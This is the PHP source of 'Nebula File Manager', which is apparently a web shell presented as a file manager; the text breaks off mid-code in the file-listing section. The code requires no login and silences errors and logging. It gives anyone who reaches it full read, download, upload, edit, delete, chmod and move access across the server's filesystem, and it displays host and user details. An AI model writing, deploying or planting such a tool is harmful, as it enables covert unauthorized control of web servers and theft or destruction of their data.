<?php
// ============================================================
// NEBULA FILE MANAGER v3.0 - NO LOGIN / NO LOGOUT
// ============================================================

error_reporting(0);
@ini_set('display_errors', 0);
@ini_set('log_errors', 0);
@set_time_limit(0);
@ini_set('memory_limit', '512M');

// No session needed - direct access only

// Toggle hidden files
$showHidden = isset($_GET['show_hidden']) && $_GET['show_hidden'] === '1';
if (isset($_GET['show_hidden'])) {
    $redirectPath = isset($_GET['p']) ? $_GET['p'] : getcwd();
    header('Location: ?p=' . urlencode($redirectPath));
    exit;
}

// Get the original directory where this script is located
$originalDir = dirname(__FILE__);

function getUploadError($error_code) {
    switch ($error_code) {
        case UPLOAD_ERR_INI_SIZE: return 'File size exceeds server limit';
        case UPLOAD_ERR_FORM_SIZE: return 'File size exceeds form limit';
        case UPLOAD_ERR_PARTIAL: return 'File was only partially uploaded';
        case UPLOAD_ERR_NO_FILE: return 'No file was uploaded';
        case UPLOAD_ERR_NO_TMP_DIR: return 'Missing temporary folder';
        case UPLOAD_ERR_CANT_WRITE: return 'Failed to write file to disk';
        case UPLOAD_ERR_EXTENSION: return 'File upload stopped by extension';
        default: return 'Unknown upload error';
    }
}

function perms($file) {
    $perms = fileperms($file);
    $info = '';
    
    switch ($perms & 0xF000) {
        case 0xC000: $info = 's'; break;
        case 0xA000: $info = 'l'; break;
        case 0x8000: $info = '-'; break;
        case 0x6000: $info = 'b'; break;
        case 0x4000: $info = 'd'; break;
        case 0x2000: $info = 'c'; break;
        case 0x1000: $info = 'p'; break;
        default: $info = 'u';
    }
    
    $info .= (($perms & 0x0100) ? 'r' : '-');
    $info .= (($perms & 0x0080) ? 'w' : '-');
    $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-'));
    $info .= (($perms & 0x0020) ? 'r' : '-');
    $info .= (($perms & 0x0010) ? 'w' : '-');
    $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-'));
    $info .= (($perms & 0x0004) ? 'r' : '-');
    $info .= (($perms & 0x0002) ? 'w' : '-');
    $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-'));
    
    return $info;
}

function formatSize($bytes) {
    if ($bytes >= 1099511627776) return round($bytes / 1099511627776, 2) . ' TB';
    if ($bytes >= 1073741824) return round($bytes / 1073741824, 2) . ' GB';
    if ($bytes >= 1048576) return round($bytes / 1048576, 2) . ' MB';
    if ($bytes >= 1024) return round($bytes / 1024, 2) . ' KB';
    return $bytes . ' B';
}

function generateBreadcrumb($path) {
    $parts = explode(DIRECTORY_SEPARATOR, $path);
    $breadcrumb = '<nav class="breadcrumb-nav">';
    $breadcrumb .= '<span class="breadcrumb-icon">🌌</span>';
    
    $cumulative = '';
    
    if (DIRECTORY_SEPARATOR === '/' && $path[0] === '/') {
        $breadcrumb .= '<a href="?p=/" class="breadcrumb-item root">Root</a>';
        $cumulative = '/';
        array_shift($parts);
    }
    
    foreach ($parts as $part) {
        if (empty($part)) continue;
        $cumulative .= $part . DIRECTORY_SEPARATOR;
        $breadcrumb .= '<span class="breadcrumb-separator">/</span>';
        $breadcrumb .= '<a href="?p=' . urlencode(rtrim($cumulative, DIRECTORY_SEPARATOR)) . '" class="breadcrumb-item">' . htmlspecialchars($part) . '</a>';
    }
    
    $breadcrumb .= '</nav>';
    return $breadcrumb;
}

function isImage($file) {
    $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
    return in_array($ext, ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'svg', 'webp', 'ico']);
}

function isTextFile($file) {
    $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
    return in_array($ext, ['txt', 'php', 'html', 'htm', 'css', 'js', 'json', 'xml', 'ini', 'conf', 'cfg', 'sh', 'bash', 'py', 'rb', 'pl', 'sql', 'c', 'cpp', 'h', 'hpp', 'java', 'md', 'markdown', 'log', 'env', 'gitignore', 'htaccess', 'nginx', 'yml', 'yaml', 'toml', 'lock', 'rst']);
}

$path = isset($_GET['p']) ? $_GET['p'] : getcwd();
$action = isset($_GET['a']) ? $_GET['a'] : (isset($_POST['a']) ? $_POST['a'] : '');
$target = isset($_GET['t']) ? $_GET['t'] : (isset($_POST['t']) ? $_POST['t'] : '');

// Handle AJAX file view requests
if (isset($_GET['ajax_view']) && is_file($_GET['ajax_view'])) {
    header('Content-Type: application/json');
    $file = $_GET['ajax_view'];
    $response = [
        'name' => basename($file),
        'path' => $file,
        'is_image' => isImage($file),
        'is_text' => isTextFile($file)
    ];
    
    if (isImage($file)) {
        $response['content'] = base64_encode(file_get_contents($file));
        $response['mime'] = mime_content_type($file);
    } elseif (isTextFile($file)) {
        $response['content'] = file_get_contents($file);
    }
    
    echo json_encode($response);
    exit;
}

if ($action === 'download' && $target && is_file($target)) {
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="' . basename($target) . '"');
    header('Expires: 0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    header('Content-Length: ' . filesize($target));
    readfile($target);
    exit;
}

if (!empty($action)) {
    if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['p'])) {
        $path = $_POST['p'];
    } elseif (isset($_GET['p'])) {
        $path = $_GET['p'];
    }
    
    switch ($action) {
        case 'upload':
            if (!isset($_FILES['f']) || $_FILES['f']['error'] === UPLOAD_ERR_NO_FILE) {
                $error = "No file selected for upload";
                break;
            }
            
            if ($_FILES['f']['error'] !== UPLOAD_ERR_OK) {
                $error = "Upload error: " . getUploadError($_FILES['f']['error']);
                break;
            }

            $targetPath = $path . DIRECTORY_SEPARATOR . basename($_FILES['f']['name']);
            
            if (file_exists($targetPath)) {
                $error = "File already exists: " . $_FILES['f']['name'];
                break;
            }
            
            if (!is_writable($path)) {
                @chmod($path, 0755);
                if (!is_writable($path)) {
                    $error = "Destination not writable: " . $path;
                    break;
                }
            }
            
            if (move_uploaded_file($_FILES['f']['tmp_name'], $targetPath)) {
                $message = "Upload successful: " . $_FILES['f']['name'];
                @chmod($targetPath, 0644);
            } else {
                $error = "Upload failed: " . $_FILES['f']['name'];
            }
            break;

        case 'delete':
            if ($target) {
                if (is_dir($target)) {
                    $files = new RecursiveIteratorIterator(
                        new RecursiveDirectoryIterator($target, RecursiveDirectoryIterator::SKIP_DOTS),
                        RecursiveIteratorIterator::CHILD_FIRST
                    );
                    foreach ($files as $fileinfo) {
                        $todo = ($fileinfo->isDir() ? 'rmdir' : 'unlink');
                        @$todo($fileinfo->getRealPath());
                    }
                    @rmdir($target);
                    $message = "Deleted directory: " . basename($target);
                } else {
                    if (@unlink($target)) {
                        $message = "Deleted file: " . basename($target);
                    } else {
                        $error = "Failed to delete: " . basename($target);
                    }
                }
                $redirectDir = dirname($target);
                header('Location: ?p=' . urlencode($redirectDir));
                exit;
            }
            break;

        case 'create_dir':
            $dirName = isset($_POST['dir_name']) ? $_POST['dir_name'] : '';
            if ($dirName) {
                $newDir = $path . DIRECTORY_SEPARATOR . $dirName;
                if (!file_exists($newDir)) {
                    if (@mkdir($newDir, 0755, true)) {
                        $message = "Created directory: $dirName";
                    } else {
                        $error = "Failed to create directory: $dirName";
                    }
                } else {
                    $error = "Directory already exists: $dirName";
                }
            }
            break;

        case 'create_file':
            $fileName = isset($_POST['file_name']) ? $_POST['file_name'] : '';
            if ($fileName) {
                $newFile = $path . DIRECTORY_SEPARATOR . $fileName;
                if (!file_exists($newFile)) {
                    if (@file_put_contents($newFile, '')) {
                        $message = "Created file: $fileName";
                    } else {
                        $error = "Failed to create file: $fileName";
                    }
                } else {
                    $error = "File already exists: $fileName";
                }
            }
            break;

        case 'edit':
            if (isset($_POST['content'])) {
                $content = $_POST['content'];
                if (@file_put_contents($target, $content)) {
                    $message = "Saved: " . basename($target);
                } else {
                    $error = "Failed to save: " . basename($target);
                }
                header('Location: ?p=' . urlencode(dirname($target)));
                exit;
            }
            break;

        case 'compress':
            if (class_exists('ZipArchive') && $target) {
                $zip = new ZipArchive();
                $zipName = basename($target) . '.zip';
                $zipPath = $path . DIRECTORY_SEPARATOR . $zipName;
                
                if ($zip->open($zipPath, ZipArchive::CREATE) === TRUE) {
                    if (is_dir($target)) {
                        $files = new RecursiveIteratorIterator(
                            new RecursiveDirectoryIterator($target),
                            RecursiveIteratorIterator::LEAVES_ONLY
                        );
                        
                        foreach ($files as $name => $file) {
                            if (!$file->isDir()) {
                                $filePath = $file->getRealPath();
                                $relativePath = substr($filePath, strlen(dirname($target)) + 1);
                                $zip->addFile($filePath, $relativePath);
                            }
                        }
                    } else {
                        $zip->addFile($target, basename($target));
                    }
                    
                    $zip->close();
                    $message = "Compressed to: $zipName";
                } else {
                    $error = "Failed to create archive";
                }
            } else {
                $error = "ZipArchive not available";
            }
            break;
            
        case 'rename':
            if (isset($_POST['new_name']) && $target) {
                $newName = trim($_POST['new_name']);
                
                if (empty($newName)) {
                    $error = "New name cannot be empty";
                    break;
                }
                
                if (strpos($newName, '/') !== false || strpos($newName, '\\') !== false) {
                    $error = "Name cannot contain slashes";
                    break;
                }
                
                $targetDir = dirname($target);
                $newPath = $targetDir . DIRECTORY_SEPARATOR . $newName;
                
                if (!file_exists($target)) {
                    $error = "Source file/folder does not exist";
                    break;
                }
                
                if (file_exists($newPath)) {
                    $error = "A file/folder with that name already exists";
                    break;
                }
                
                if (!is_writable($targetDir)) {
                    $error = "No write permission in this directory";
                    break;
                }
                
                if (@rename($target, $newPath)) {
                    $message = "Successfully renamed to: " . $newName;
                } else {
                    $error = "Failed to rename. Please check permissions.";
                }
                
                header('Location: ?p=' . urlencode($targetDir));
                exit;
            }
            break;
            
        case 'chmod':
            if (isset($_POST['perms']) && $target) {
                $perms = intval($_POST['perms'], 8);
                if (@chmod($target, $perms)) {
                    $message = "Changed permissions to: " . $_POST['perms'];
                } else {
                    $error = "Failed to change permissions";
                }
            }
            break;
            
        case 'copy':
            if (isset($_POST['dest']) && $target) {
                $dest = $_POST['dest'];
                if (@copy($target, $dest)) {
                    $message = "Copied to: " . basename($dest);
                } else {
                    $error = "Failed to copy";
                }
            }
            break;
            
        case 'move':
            if (isset($_POST['dest']) && $target) {
                $dest = $_POST['dest'];
                if (@rename($target, $dest)) {
                    $message = "Moved to: " . basename($dest);
                } else {
                    $error = "Failed to move";
                }
            }
            break;
            
        case 'bulk':
            if (isset($_POST['bulk_action']) && isset($_POST['files'])) {
                $bulkAction = $_POST['bulk_action'];
                $files = $_POST['files'];
                
                switch ($bulkAction) {
                    case 'delete':
                        foreach ($files as $file) {
                            if (is_dir($file)) {
                                $files2 = new RecursiveIteratorIterator(
                                    new RecursiveDirectoryIterator($file, RecursiveDirectoryIterator::SKIP_DOTS),
                                    RecursiveIteratorIterator::CHILD_FIRST
                                );
                                foreach ($files2 as $fileinfo) {
                                    $todo = ($fileinfo->isDir() ? 'rmdir' : 'unlink');
                                    @$todo($fileinfo->getRealPath());
                                }
                                @rmdir($file);
                            } else {
                                @unlink($file);
                            }
                        }
                        $message = "Bulk delete completed";
                        break;
                        
                    case 'zip':
                        if (class_exists('ZipArchive')) {
                            $zip = new ZipArchive();
                            $zipName = 'bulk_' . date('Ymd_His') . '.zip';
                            $zipPath = $path . DIRECTORY_SEPARATOR . $zipName;
                            
                            if ($zip->open($zipPath, ZipArchive::CREATE) === TRUE) {
                                foreach ($files as $file) {
                                    if (is_file($file)) {
                                        $zip->addFile($file, basename($file));
                                    }
                                }
                                $zip->close();
                                $message = "Created archive: $zipName";
                            } else {
                                $error = "Failed to create archive";
                            }
                        }
                        break;
                        
                    case 'chmod':
                        $perms = intval($_POST['bulk_value'], 8);
                        foreach ($files as $file) {
                            @chmod($file, $perms);
                        }
                        $message = "Permissions changed to: " . $_POST['bulk_value'];
                        break;
                }
            }
            break;
    }
}

$systemInfo = [
    'os' => php_uname('s') . ' ' . php_uname('r'),
    'host' => php_uname('n'),
    'php' => phpversion(),
    'server' => $_SERVER['SERVER_SOFTWARE'] ?? 'Unknown',
    'root' => $_SERVER['DOCUMENT_ROOT'] ?? 'Unknown',
    'server_ip' => $_SERVER['SERVER_ADDR'] ?? 'Unknown',
    'client_ip' => $_SERVER['REMOTE_ADDR'] ?? 'Unknown',
    'user' => get_current_user(),
    'disk_free' => formatSize(disk_free_space('/')),
    'disk_total' => formatSize(disk_total_space('/')),
    'upload_max' => ini_get('upload_max_filesize'),
    'post_max' => ini_get('post_max_size')
];

?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Nebula File Manager</title>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        
        body {
            background: #0a0a0f;
            color: #fff;
            font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif;
            font-size: 14px;
            line-height: 1.5;
            min-height: 100vh;
            position: relative;
        }
        
        .nebula-bg {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: radial-gradient(circle at 20% 30%, rgba(147, 112, 219, 0.2) 0%, transparent 40%),
                        radial-gradient(circle at 80% 70%, rgba(255, 182, 193, 0.2) 0%, transparent 40%),
                        radial-gradient(circle at 40% 80%, rgba(138, 43, 226, 0.15) 0%, transparent 50%);
            z-index: 0;
        }
        
        .stars {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background-image: 
                radial-gradient(1px 1px at 15px 30px, #fff, rgba(0,0,0,0)),
                radial-gradient(1px 1px at 45px 70px, #fff, rgba(0,0,0,0)),
                radial-gradient(2px 2px at 85px 120px, #fff, rgba(0,0,0,0)),
                radial-gradient(1px 1px at 120px 200px, #fff, rgba(0,0,0,0));
            background-size: 200px 200px;
            opacity: 0.3;
            animation: twinkle 4s ease-in-out infinite;
            z-index: 0;
        }
        
        @keyframes twinkle {
            0%, 100% { opacity: 0.3; }
            50% { opacity: 0.5; }
        }
        
        .app {
            position: relative;
            z-index: 10;
            max-width: 1600px;
            margin: 0 auto;
            padding: 20px;
        }
        
        .header {
            background: rgba(20, 20, 30, 0.7);
            backdrop-filter: blur(20px);
            border-radius: 16px;
            padding: 20px 24px;
            margin-bottom: 24px;
            display: flex;
            justify-content: space-between;
            align-items: center;
            border: 1px solid rgba(147, 112, 219, 0.2);
            box-shadow: 0 8px 32px rgba(0, 0, 0, 0.2);
        }
        
        .header-left {
            cursor: pointer;
        }
        
        .header-left h1 {
            font-size: 24px;
            font-weight: 600;
            background: linear-gradient(135deg, #9370db, #ffb6c1);
            -webkit-background-clip: text;
            -webkit-text-fill-color: transparent;
            margin-bottom: 4px;
            letter-spacing: -0.3px;
        }
        
        .header-left .system-info {
            color: rgba(255, 255, 255, 0.5);
            font-size: 12px;
        }
        
        .header-right {
            display: flex;
            gap: 12px;
            align-items: center;
        }
        
        .toggle-hidden {
            background: rgba(255, 255, 255, 0.05);
            border: 1px solid rgba(147, 112, 219, 0.3);
            border-radius: 20px;
            padding: 8px 16px;
            color: #fff;
            font-size: 13px;
            cursor: pointer;
            transition: all 0.3s;
            display: flex;
            align-items: center;
            gap: 8px;
            text-decoration: none;
        }
        
        .toggle-hidden.active {
            background: rgba(147, 112, 219, 0.2);
            border-color: #9370db;
        }
        
        .toggle-hidden:hover {
            background: rgba(147, 112, 219, 0.3);
        }
        
        .breadcrumb-nav {
            background: rgba(20, 20, 30, 0.5);
            backdrop-filter: blur(10px);
            border-radius: 12px;
            padding: 16px 20px;
            margin-bottom: 24px;
            display: flex;
            align-items: center;
            gap: 8px;
            flex-wrap: wrap;
            border: 1px solid rgba(147, 112, 219, 0.2);
        }
        
        .breadcrumb-icon {
            font-size: 18px;
            margin-right: 8px;
        }
        
        .breadcrumb-item {
            color: rgba(255, 255, 255, 0.8);
            text-decoration: none;
            padding: 4px 8px;
            border-radius: 6px;
            transition: all 0.2s;
            font-size: 13px;
        }
        
        .breadcrumb-item:hover {
            background: rgba(147, 112, 219, 0.2);
            color: #9370db;
        }
        
        .breadcrumb-item.root {
            background: rgba(147, 112, 219, 0.1);
            color: #9370db;
            font-weight: 500;
        }
        
        .breadcrumb-separator {
            color: rgba(255, 255, 255, 0.3);
            font-size: 14px;
        }
        
        .panel {
            background: rgba(20, 20, 30, 0.5);
            backdrop-filter: blur(10px);
            border-radius: 16px;
            padding: 24px;
            margin-bottom: 24px;
            border: 1px solid rgba(147, 112, 219, 0.2);
        }
        
        .panel-title {
            font-size: 16px;
            font-weight: 600;
            margin-bottom: 20px;
            color: #9370db;
            display: flex;
            align-items: center;
            gap: 8px;
        }
        
        .panel-title::before {
            content: "◆";
            color: #ffb6c1;
            font-size: 14px;
        }
        
        .operation-bar {
            display: flex;
            gap: 12px;
            flex-wrap: wrap;
            align-items: center;
        }
        
        .operation-form {
            display: flex;
            gap: 8px;
            align-items: center;
            background: rgba(0, 0, 0, 0.2);
            padding: 4px;
            border-radius: 12px;
        }
        
        .operation-input {
            background: rgba(255, 255, 255, 0.05);
            border: 1px solid rgba(147, 112, 219, 0.3);
            border-radius: 8px;
            padding: 8px 12px;
            color: #fff;
            font-size: 13px;
            outline: none;
            min-width: 180px;
        }
        
        .operation-input:focus {
            border-color: #9370db;
            background: rgba(255, 255, 255, 0.1);
        }
        
        .operation-btn {
            background: rgba(147, 112, 219, 0.1);
            border: 1px solid #9370db;
            border-radius: 8px;
            padding: 8px 16px;
            color: #9370db;
            font-size: 13px;
            font-weight: 500;
            cursor: pointer;
            transition: all 0.2s;
        }
        
        .operation-btn:hover {
            background: #9370db;
            color: #0a0a0f;
        }
        
        .upload-btn {
            background: rgba(255, 182, 193, 0.1);
            border-color: #ffb6c1;
            color: #ffb6c1;
        }
        
        .upload-btn:hover {
            background: #ffb6c1;
            color: #0a0a0f;
        }
        
        .table-container {
            overflow-x: auto;
            border-radius: 12px;
        }
        
        .file-table {
            width: 100%;
            border-collapse: collapse;
            font-size: 13px;
        }
        
        .file-table th {
            text-align: left;
            padding: 16px 12px;
            color: rgba(255, 255, 255, 0.5);
            font-weight: 500;
            font-size: 12px;
            text-transform: uppercase;
            letter-spacing: 0.5px;
            border-bottom: 1px solid rgba(147, 112, 219, 0.2);
        }
        
        .file-table td {
            padding: 12px;
            border-bottom: 1px solid rgba(255, 255, 255, 0.05);
        }
        
        .file-table tr {
            transition: all 0.2s;
        }
        
        .file-table tr:hover {
            background: rgba(147, 112, 219, 0.1);
        }
        
        .file-table .dir-row {
            background: rgba(147, 112, 219, 0.05);
        }
        
        .file-table .hidden-file {
            opacity: 0.6;
        }
        
        .file-icon {
            font-size: 18px;
            width: 30px;
        }
        
        .file-name {
            font-weight: 500;
            color: #fff;
            text-decoration: none;
        }
        
        .file-name:hover {
            color: #9370db;
        }
        
        .perms-badge {
            font-family: monospace;
            background: rgba(0, 0, 0, 0.3);
            padding: 4px 8px;
            border-radius: 4px;
            font-size: 11px;
            color: rgba(255, 255, 255, 0.6);
        }
        
        .action-group {
            display: flex;
            gap: 6px;
            flex-wrap: wrap;
        }
        
        .action-btn {
            padding: 4px 10px;
            border-radius: 6px;
            font-size: 11px;
            font-weight: 500;
            text-decoration: none;
            transition: all 0.2s;
            border: 1px solid transparent;
            cursor: pointer;
            background: transparent;
            display: inline-block;
        }
        
        .action-view {
            background: rgba(147, 112, 219, 0.1);
            color: #9370db;
            border-color: rgba(147, 112, 219, 0.3);
        }
        
        .action-view:hover {
            background: #9370db;
            color: #0a0a0f;
        }
        
        .action-edit {
            background: rgba(255, 182, 193, 0.1);
            color: #ffb6c1;
            border-color: rgba(255, 182, 193, 0.3);
        }
        
        .action-edit:hover {
            background: #ffb6c1;
            color: #0a0a0f;
        }
        
        .action-download {
            background: rgba(72, 187, 120, 0.1);
            color: #48bb78;
            border-color: rgba(72, 187, 120, 0.3);
        }
        
        .action-download:hover {
            background: #48bb78;
            color: #0a0a0f;
        }
        
        .action-zip {
            background: rgba(237, 137, 54, 0.1);
            color: #ed8936;
            border-color: rgba(237, 137, 54, 0.3);
        }
        
        .action-zip:hover {
            background: #ed8936;
            color: #0a0a0f;
        }
        
        .action-delete {
            background: rgba(245, 101, 101, 0.1);
            color: #f56565;
            border-color: rgba(245, 101, 101, 0.3);
        }
        
        .action-delete:hover {
            background: #f56565;
            color: #0a0a0f;
        }
        
        .action-rename {
            background: rgba(255, 215, 0, 0.1);
            color: #ffd700;
            border-color: rgba(255, 215, 0, 0.3);
        }
        
        .action-rename:hover {
            background: #ffd700;
            color: #0a0a0f;
        }
        
        .message {
            border-radius: 12px;
            padding: 16px 20px;
            margin-bottom: 24px;
            font-size: 14px;
            display: flex;
            align-items: center;
            gap: 12px;
        }
        
        .message.success {
            background: rgba(72, 187, 120, 0.1);
            border: 1px solid #48bb78;
            color: #48bb78;
        }
        
        .message.error {
            background: rgba(245, 101, 101, 0.1);
            border: 1px solid #f56565;
            color: #f56565;
        }
        
        .editor {
            width: 100%;
            height: 500px;
            background: rgba(10, 10, 15, 0.95);
            border: 1px solid #9370db;
            border-radius: 12px;
            padding: 16px;
            color: #ffb6c1;
            font-family: 'Fira Code', 'Courier New', monospace;
            font-size: 14px;
            line-height: 1.6;
            resize: vertical;
            outline: none;
        }
        
        .editor:focus {
            border-color: #ffb6c1;
            box-shadow: 0 0 0 3px rgba(147, 112, 219, 0.1);
        }
        
        .modal {
            display: none;
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: rgba(0, 0, 0, 0.8);
            backdrop-filter: blur(10px);
            z-index: 1000;
            align-items: center;
            justify-content: center;
        }
        
        .modal.active {
            display: flex;
        }
        
        .modal-content {
            background: rgba(20, 20, 30, 0.95);
            border: 1px solid #9370db;
            border-radius: 24px;
            padding: 24px;
            max-width: 90%;
            max-height: 90%;
            width: 500px;
            position: relative;
            box-shadow: 0 20px 60px rgba(0, 0, 0, 0.5);
        }
        
        .modal-lg {
            width: 900px;
        }
        
        .modal-header {
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-bottom: 20px;
            padding-bottom: 16px;
            border-bottom: 1px solid rgba(147, 112, 219, 0.3);
        }
        
        .modal-header h3 {
            color: #9370db;
            font-size: 18px;
        }
        
        .modal-close {
            background: rgba(255, 255, 255, 0.05);
            border: 1px solid rgba(255, 182, 193, 0.3);
            border-radius: 8px;
            padding: 8px 16px;
            color: #ffb6c1;
            cursor: pointer;
            transition: all 0.2s;
            font-size: 13px;
        }
        
        .modal-close:hover {
            background: rgba(255, 182, 193, 0.1);
            border-color: #ffb6c1;
        }
        
        .modal-body {
            margin-bottom: 20px;
        }
        
        .modal-input {
            width: 100%;
            background: rgba(255, 255, 255, 0.05);
            border: 1px solid rgba(147, 112, 219, 0.3);
            border-radius: 8px;
            padding: 12px 16px;
            color: #fff;
            font-size: 14px;
            outline: none;
        }
        
        .modal-input:focus {
            border-color: #9370db;
            background: rgba(255, 255, 255, 0.1);
        }
        
        .modal-footer {
            display: flex;
            gap: 12px;
            justify-content: flex-end;
        }
        
        .modal-btn {
            padding: 8px 20px;
            border-radius: 8px;
            font-size: 13px;
            font-weight: 500;
            cursor: pointer;
            transition: all 0.2s;
            border: 1px solid transparent;
        }
        
        .modal-btn-primary {
            background: #9370db;
            color: #0a0a0f;
        }
        
        .modal-btn-primary:hover {
            background: #ffb6c1;
        }
        
        .modal-btn-secondary {
            background: rgba(255, 255, 255, 0.05);
            border: 1px solid rgba(147, 112, 219, 0.3);
            color: #fff;
        }
        
        .modal-btn-secondary:hover {
            background: rgba(147, 112, 219, 0.1);
        }
        
        .modal-body-lg {
            overflow: auto;
            flex: 1;
            min-height: 400px;
            max-height: 70vh;
        }
        
        .modal-image {
            max-width: 100%;
            max-height: 70vh;
            display: block;
            margin: 0 auto;
            border-radius: 8px;
        }
        
        .modal-text {
            background: rgba(0, 0, 0, 0.3);
            border-radius: 12px;
            padding: 20px;
            font-family: 'Fira Code', monospace;
            font-size: 13px;
            line-height: 1.6;
            color: #ffb6c1;
            white-space: pre-wrap;
            word-wrap: break-word;
            margin: 0;
        }
        
        .file-checkbox {
            width: 18px;
            height: 18px;
            accent-color: #9370db;
        }
        
        @media (max-width: 768px) {
            .app { padding: 12px; }
            .header { flex-direction: column; gap: 16px; }
            .operation-bar { flex-direction: column; }
            .operation-form { width: 100%; }
            .operation-input { flex: 1; }
            .action-group { flex-wrap: wrap; }
        }
    </style>
</head>
<body>
    <div class="nebula-bg"></div>
    <div class="stars"></div>
    
    <div class="app">
        <header class="header">
            <div class="header-left" onclick="window.location.href='?p=<?php echo urlencode($originalDir); ?>'">
                <h1>Nebula File Manager</h1>
                <div class="system-info">
                    <?php echo $systemInfo['os']; ?> • <?php echo $systemInfo['host']; ?> • <?php echo $systemInfo['client_ip']; ?>
                </div>
            </div>
            <div class="header-right">
                <a href="?p=<?php echo urlencode($path); ?>&show_hidden=<?php echo $showHidden ? '0' : '1'; ?>" 
                   class="toggle-hidden <?php echo $showHidden ? 'active' : ''; ?>">
                    <span>👁️</span>
                    <?php echo $showHidden ? 'Hide Hidden' : 'Show Hidden'; ?>
                </a>
                <!-- LOGOUT BUTTON REMOVED -->
            </div>
        </header>
        
        <div id="files" class="tab-content active">
            <?php echo generateBreadcrumb($path); ?>
            
            <?php if (isset($message)): ?>
                <div class="message success">✨ <?php echo htmlspecialchars($message); ?></div>
            <?php endif; ?>
            
            <?php if (isset($error)): ?>
                <div class="message error">⚠️ <?php echo htmlspecialchars($error); ?></div>
            <?php endif; ?>
            
            <div class="panel">
                <div class="panel-title">Operations</div>
                <div class="operation-bar">
                    <form method="POST" class="operation-form">
                        <input type="hidden" name="p" value="<?php echo htmlspecialchars($path); ?>">
                        <input type="text" name="dir_name" class="operation-input" placeholder="New folder name">
                        <button type="submit" name="a" value="create_dir" class="operation-btn">Create Folder</button>
                    </form>
                    
                    <form method="POST" class="operation-form">
                        <input type="hidden" name="p" value="<?php echo htmlspecialchars($path); ?>">
                        <input type="text" name="file_name" class="operation-input" placeholder="New file name">
                        <button type="submit" name="a" value="create_file" class="operation-btn">Create File</button>
                    </form>

                    <form method="POST" enctype="multipart/form-data" class="operation-form">
                        <input type="hidden" name="p" value="<?php echo htmlspecialchars($path); ?>">
                        <input type="file" name="f" class="operation-input" style="padding: 6px;">
                        <button type="submit" name="a" value="upload" class="operation-btn upload-btn">Upload</button>
                    </form>
                </div>
            </div>
            
            <div class="panel">
                <div class="panel-title">Files in <?php echo htmlspecialchars(basename($path) ?: 'Root'); ?></div>
                <div class="table-container">
                    <table class="file-table">
                        <thead>
                            <tr>
                                <th></th>
                                <th>Name</th>
                                <th>Size</th>
                                <th>Permissions</th>
                                <th>Modified</th>
                                <th>Actions</th>
                            </tr>
                        </thead>
                        <tbody>
                            <?php if ($path !== '/'): ?>
                                <?php $parent = dirname($path); ?>
                                <tr class="dir-row">
                                    <td class="file-icon">📁</td>
                                    <td><a href="?p=<?php echo urlencode($parent); ?>" class="file-name">..</a></td>
                                    <td>-</td>
                                    <td><span class="perms-badge">d--------</span></td>
                                    <td>-</td>
                                    <td>-</td>
                                </tr>
                            <?php endif; ?>
                            
                            <?php
                            if (is_dir($path)) {
                                $items = @scandir($path);
                                if ($items) {
                                    $dirs = [];
                                    $files = [];
                                    
                                    foreach ($items as $item) {
                                        if ($item === '.' || $item === '..') continue;
                                        
                                        if (!$showHidden && $item[0] === '.') continue;
                                        
                                        $fullPath = $path . DIRECTORY_SEPARATOR . $item;
                                        if (is_dir($fullPath)) {
                                            $dirs[] = $item;
                                        } else {
                                            $files[] = $item;
                                        }
                                    }
                                    
                                    sort($dirs);
                                    sort($files);
                                    
                                    foreach ($dirs as $item) {
                                        $fullPath = $path . DIRECTORY_SEPARATOR . $item;
                                        $isHidden = $item[0] === '.';
                                        try {
                                            $perms = perms($fullPath);
                                            $mtime = @date('Y-m-d H:i', @filemtime($fullPath));
                                            
                                            echo "<tr class='dir-row" . ($isHidden ? " hidden-file" : "") . "'>";
                                            echo "<td class='file-icon'>📁</td>";
                                            echo "<td><a href='?p=" . urlencode($fullPath) . "' class='file-name'>" . ($isHidden ? "<i>" . htmlspecialchars($item) . "</i>" : htmlspecialchars($item)) . "</a></td>";
                                            echo "<td>-</td>";
                                            echo "<td><span class='perms-badge'>$perms</span></td>";
                                            echo "<td>" . ($mtime ?: '-') . "</td>";
                                            echo "<td class='action-group'>";
                                            echo "<a href='?p=" . urlencode($fullPath) . "' class='action-btn action-view'>Open</a>";
                                            echo "<button onclick='showRenameModal(\"" . addslashes($fullPath) . "\", \"" . addslashes($item) . "\")' class='action-btn action-rename'>Rename</button>";
                                            echo "<a href='?a=compress&t=" . urlencode($fullPath) . "' class='action-btn action-zip'>Zip</a>";
                                            echo "<a href='?a=delete&t=" . urlencode($fullPath) . "' class='action-btn action-delete' onclick='return confirm(\"Delete this folder?\")'>Del</a>";
                                            echo "</td>";
                                            echo "</tr>";
                                        } catch (Exception $e) {
                                            continue;
                                        }
                                    }
                                    
                                    foreach ($files as $item) {
                                        $fullPath = $path . DIRECTORY_SEPARATOR . $item;
                                        $isHidden = $item[0] === '.';
                                        try {
                                            $perms = perms($fullPath);
                                            $size = formatSize(@filesize($fullPath));
                                            $mtime = @date('Y-m-d H:i', @filemtime($fullPath));
                                            $ext = strtolower(pathinfo($fullPath, PATHINFO_EXTENSION));
                                            
                                            $icon = '📄';
                                            if (in_array($ext, ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'svg', 'webp', 'ico'])) $icon = '🖼️';
                                            else if (in_array($ext, ['mp3', 'wav', 'ogg', 'flac', 'm4a'])) $icon = '🎵';
